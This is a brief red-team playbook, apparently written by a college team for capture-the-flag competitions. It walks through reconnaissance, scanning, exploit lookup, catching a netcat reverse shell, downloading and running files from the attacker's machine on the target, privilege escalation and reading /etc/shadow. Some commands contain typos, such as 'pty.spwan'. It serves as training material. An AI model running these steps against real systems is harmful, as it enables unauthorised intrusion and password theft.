Mercy College Red Team Play Book (Short Version)- here a playbook for our team. This gives a quick rundown of how we are going to attack a target.

Step 1: Passive Information Gathering

Always start by looking for information that you can find without tripping a firewall , or ending up in a log file. This includes google searches on domains, Whois record lookup and Shodan searches.

Common Linux Commands:

host [IP address of Target]

whois [domain name of Target]

Step 2: Active Information Gathering

The next step is to figure out the type of network we are working with. We accomplish this by port sweeping, and scanning. The best tool to use for this is NMAP.

Common Linux Commands:

nmap [IP Address of Target] -sS -sV -oA /root/Desktop/Hackathon/nmap.txt

Step 3: Determining Threat Vectors

Once we determine which open ports we have, we have determined out threat vectors. Further enumeration on each vector is now necessary. Typical threat vectors include ftp, ssh, web, SNMP, SMB and email.

Common Linux Commands:

#scan target's middleware

nikto -h [IP Address of Target] > /root/Desktop/Hackathon/nikto.txt

#fuzz targets directories

dirb http://[IP Address of Target] -o /root/Desktop/Hackathon/dirb.txt

#get snmp info from target

snmpwalk [IP Address of Target] > /root/Desktop/Hackathon/snmp.txt

#scan a discovered word press site

wpscan -h [IP Address of Target] > /root/Desktop/Hackathon/wpscan.txt

Step 4: Finding Exploits

When we enumerate to the point of finding software and version numbers, we can now check this software for exploits using Exploitdb.com or searchsploit.

Common Linux Commands:

#find exploit in software version you discovered on the target

searchsploit [name and version of software]

Step 5: Low Privilege Access

Many times we are trying to turn an exploit into a low privilege shell. This usually requires manual modification of an exploit and using netcat to catch a reverse shell.

Common Linux Commands:

#netcat listener

nc -v -lvp 4444

#upgrade shell

import python -c 'import pty; pty.spwan("/bin/bash");'

Step 6: Privilege Escalation

At this stage we are likely a low privilege user, such as www-data or apache. You need start performing further enumeration to get to a higher level. This would mean starting again with Information Gathering from our new perspective and then determine vectors and exploits that would

be appropriate for our new found situation. This stage usually requires fancy techniques to get files on and off the machine without being stopped by the security settings.

Common Linux Commands:

```
# go to the tmp directory as it is usually writable
cd /tmp


#find the kernel version
uname -a

#find windows system info
systeminfo

#set up a python server on your local system
python -m SimpleHTTPServer

#find your ip address , if you are VPN'd you are probably tun0
ifconfig

#download a file
wget http:///[Your IP Address]:8000/[file name]

#compile a file
gcc [c file name] -o [file name]

#change permissions of a file to execute
chmod +x [filename]

#execute a file
./[filename]
```

Step 7: Capture the Flag

Here we determine look for the flag is the home directories of the server. We use cat and type to display the command depending on whether we are on Linux or Windows.

Common Linux Commands:

#get to the home directory

cd /home/

#print the flag in linux

cat flag.txt

#print the flag in windows

type flag.txt

Step 8: Post Exploitation

Now it is time to see what else we can find on the machine that could help us get further into the network, or discover more passwords for another server.

Common Linux Commands:

#see connections to the server

netstat -ano

#get passwords

cat /etc/shadow